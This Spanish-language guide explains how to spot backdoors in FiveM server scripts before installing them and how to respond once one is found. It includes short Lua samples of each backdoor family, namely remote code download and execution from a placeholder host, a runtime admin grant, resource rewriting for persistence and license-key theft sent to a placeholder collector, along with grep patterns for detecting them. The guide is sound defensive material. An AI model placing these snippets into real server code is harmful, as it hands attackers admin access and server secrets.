Cómo detectar un script de FiveM con backdoor
Las cuatro formas que toma un backdoor, cómo leer una resource antes de que se ejecute, y qué hacer primero cuando encuentras uno. Ordenado por lo que de verdad te protege.
6 minutos de lectura
Alguien te pasa un script "filtrado gratis". Lo sueltas en resources,
reinicias, y todo funciona. Tres semanas después un desconocido tiene admin, tu
base de datos ha desaparecido, o tu servidor está mandando publicidad
calladamente a tus propios jugadores.
Esta guía va de cómo mirar una resource antes de que se ejecute, qué significan de verdad los patrones, y qué hacer cuando encuentras uno.
Nada de esto sube tus archivos. El escáner de backdoors los lee en tu navegador, que es la única manera sensata de inspeccionar un script del que ya desconfías.
Empieza leyendo el manifest
fxmanifest.lua decide qué se ejecuta. Ábrelo primero, siempre.
fx_version "cerulean"game "gta5"client_scripts { "client/*.lua",}server_scripts { "server/*.lua", "config/init.lua",}
Dos preguntas, en este orden:
- ¿Tiene sentido cada archivo listado para lo que esta resource dice que
hace? Un script de aparcamiento con un
server_scriptllamadoupdater.luamerece una mirada. - ¿Se carga algo con un comodín a través del cual no ves?
server/*.luaes normal, pero también significa que un archivo añadido después se ejecuta sin tocar nada más.
Después compara el manifest con la carpeta. Un archivo que existe en disco y no está en el manifest suele ser lastre. Un archivo del manifest que no encuentras es una señal bastante peor.
Las cuatro formas que toma un backdoor
Casi todo lo malicioso cae en una de cuatro familias. Conocer la familia importa más que memorizar cadenas, porque las cadenas cambian y las formas no.
1. Código descargado en runtime y ejecutado
La resource se descarga algo y lo ejecuta. Lo que audites hoy puede servir algo distinto mañana.
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) if code == 200 then assert(load(body))() endend, "GET")
load, loadstring, RunString y assert(load(...)) convierten texto en
código que se ejecuta. Junto a una llamada HTTP en el mismo archivo, no hay
lectura inocente.
Un auto-updater es la excusa habitual. Un updater legítimo se descarga un archivo y te pide que reinicies. No ejecuta en memoria lo que se ha descargado.
2. Permisos concedidos en runtime
La familia más silenciosa, y la que se le escapa a la gente, porque nada parece raro hasta que una cuenta que nadie creó tiene acceso total.
RegisterNetEvent("core:sync", function(identifier) ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)
Aquí hay dos cosas mal. Un add_principal en runtime no debería salir nunca de
una resource que no escribiste tú, y el evento coge un identificador del
cliente, así que cualquiera puede llamarlo con el suyo.
Busca en cualquier resource add_principal, add_ace y ExecuteCommand. En un
script de gameplay normal el resultado es cero.
3. Persistencia y reinfección
La parte interesante de un backdoor serio es lo que pasa después de que lo encuentras.
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
SaveResourceFile deja que una resource reescriba otra resource. Borras el
script malicioso y vuelve desde la que fue reescrita. Por eso encontrar un
archivo no es lo mismo que estar limpio.
4. Exfiltración de secretos
La razón por la que mereció la pena plantarlo.
local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
Una resource que lee sv_licenseKey, steam_webApiKey, rcon_password o tu
cadena de conexión de MySQL no tiene ninguna razón legítima para hacerlo.
Tampoco una URL de webhook de Discord que no añadiste tú.
La ofuscación no es el delito, pero es la señal
Muchos scripts de pago están ofuscados para proteger una licencia, así que la ofuscación por sí sola no significa malicia. Lo que significa es que no puedes auditarlo, y esa es una decisión que deberías tomar a propósito y no por accidente.
| Lo que ves | Lo que significa |
|---|---|
\x68\x74\x74\x70 repetido | cadenas escapadas en hex, escondiendo una URL o un nombre |
string.char(104, 116, 116, 112) | la misma idea, en decimal |
| Una sola línea de más de 800 caracteres | minificado, para que nadie lo lea por encima |
Nombres del estilo _0x4f2a | un ofuscador de JavaScript, común en payloads de NUI |
LPH_NO_VIRTUALIZE, IronBrew, Luraph | un ofuscador de Lua, con nombre y apellidos |
La regla honesta: un archivo ofuscado de un proveedor de pago que elegiste tú es un riesgo que aceptaste. Un archivo ofuscado dentro de un leak gratuito es un riesgo que alguien eligió por ti.
Los bloques hex y Base64 se decodifican de un paso con el decodificador de Base64, hex y URL. También se ejecuta en tu navegador, así que no estás pegando un payload sospechoso en la web de un desconocido.
Haz esto antes de cada instalación
Una rutina corta pilla casi todo.
- Escanea el archivo. Suelta el
.zipdirectamente en el escáner de backdoors. Lee zips sin extraerlos a ninguna parte. - Lee el manifest, y compáralo con el contenido de la carpeta.
- Haz grep de las cuatro familias.
load(,PerformHttpRequest,add_principal,SaveResourceFile,GetConvar. - Instálalo primero en un servidor de pruebas, con una licence key desechable y una base de datos que no contenga nada.
- Mira la consola en el primer arranque. Los backdoors que llaman a casa suelen hacerlo enseguida, y un error HTTP al arrancar es un regalo.
Cuando encuentres uno
Aquí el orden importa, y el instinto de borrar primero el archivo está mal.
- Para el servidor. No la resource. El servidor.
- Cambia todos los secretos: la
sv_licenseKeydesde el portal de Cfx, la contraseña de tu base de datos, tus webhooks de Discord, cualquier clave de API que haya en un convar. Da por hecho que todo lo que hay en elserver.cfges conocido. El generador de secretos produce los reemplazos sin mandarlos a ninguna parte. - Revisa
add_principalen tus propias configs y quita todo identificador que no reconozcas. - Audita las demás resources, por lo de la familia 3. Un solo backdoor que
haya usado
SaveResourceFilesignifica que las otras también hay que leerlas. - Solo entonces borra la resource, y restaura desde una copia de seguridad que hicieras antes de instalarla, si la tienes.
Cambiar tu licence key sin cambiar la contraseña de tu base de datos no soluciona nada. Quien tuvo ejecución de código en el servidor tuvo también tus credenciales.
Lo que esto no puede decirte
Reconocer patrones sobre el código fuente no es una prueba.
Un backdoor cuidadoso puede esquivar todos los patrones de esta guía, y el
código limpio a veces coincide con ellos: una resource legítima puede llamar
perfectamente a PerformHttpRequest, y un montón de scripts buenos leen un
convar. Por eso el escáner explica qué significa cada aviso en vez de dictar un
veredicto.
Trata un informe como una lista de sitios donde mirar, no como un juicio. El juicio sigue siendo tuyo, y así debe ser.